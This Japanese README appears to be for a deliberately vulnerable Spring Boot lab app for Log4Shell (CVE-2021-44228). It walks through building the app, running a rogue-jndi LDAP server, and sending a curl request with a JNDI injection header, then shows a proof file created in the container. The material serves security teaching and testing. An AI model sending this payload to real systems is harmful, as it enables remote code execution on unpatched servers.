
これは https://github.com/christophetd/log4shell-vulnerable-app のほぼコピー/類似した脆弱性アプリケーションです。
主な違いは、gradle ではなく maven を使用していることと、rogue-jndi を使用していることです。
このリポジトリには、CVE-2021-44228(通称 Log4Shell)に対して脆弱な maven Spring Boot Web アプリケーションが含まれています。Log4j 2.6.1 と JDK バージョン 1.8.0_181 を使用しています。
Docker Spring Boot アプリケーションをビルドして実行します:
docker build . -t vulnerable-app
docker run -p 8080:8080 vulnerable-app
git clone https://github.com/veracode-research/rogue-jndicd rogue-jndimvn packagejava -jar target/RogueJndi-1.1.jar --command "touch /tmp/test_if_rce" --hostname "192.168.1.x"2つ目のターミナルを開きます
curl localhost:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.1.x:1389/o=reference}'どちらの場合も、192.168.1.x はあなたのIPアドレスです。
注: localhost は使用せず、実際のプライベートIPアドレスを使用してください。
RCE が成功したか確認します:
$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
04536dbd1dff vulnerable-app "java -jar demo-0.0.…" 2 minutes ago Up 2 minutes 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp gallant_easley
$ docker container exec -it 04536dbd1dff ash
/opt/app # ls /tmp
hsperfdata_root tomcat-docbase.8080.4585569232401237075
test_if_rce tomcat.8080.1707298461175346507
ご覧のとおり、ファイル test_if_rce が存在します。これは RCE が成功したことを意味します。
以下のリポジトリからコードとアイデアを利用しています: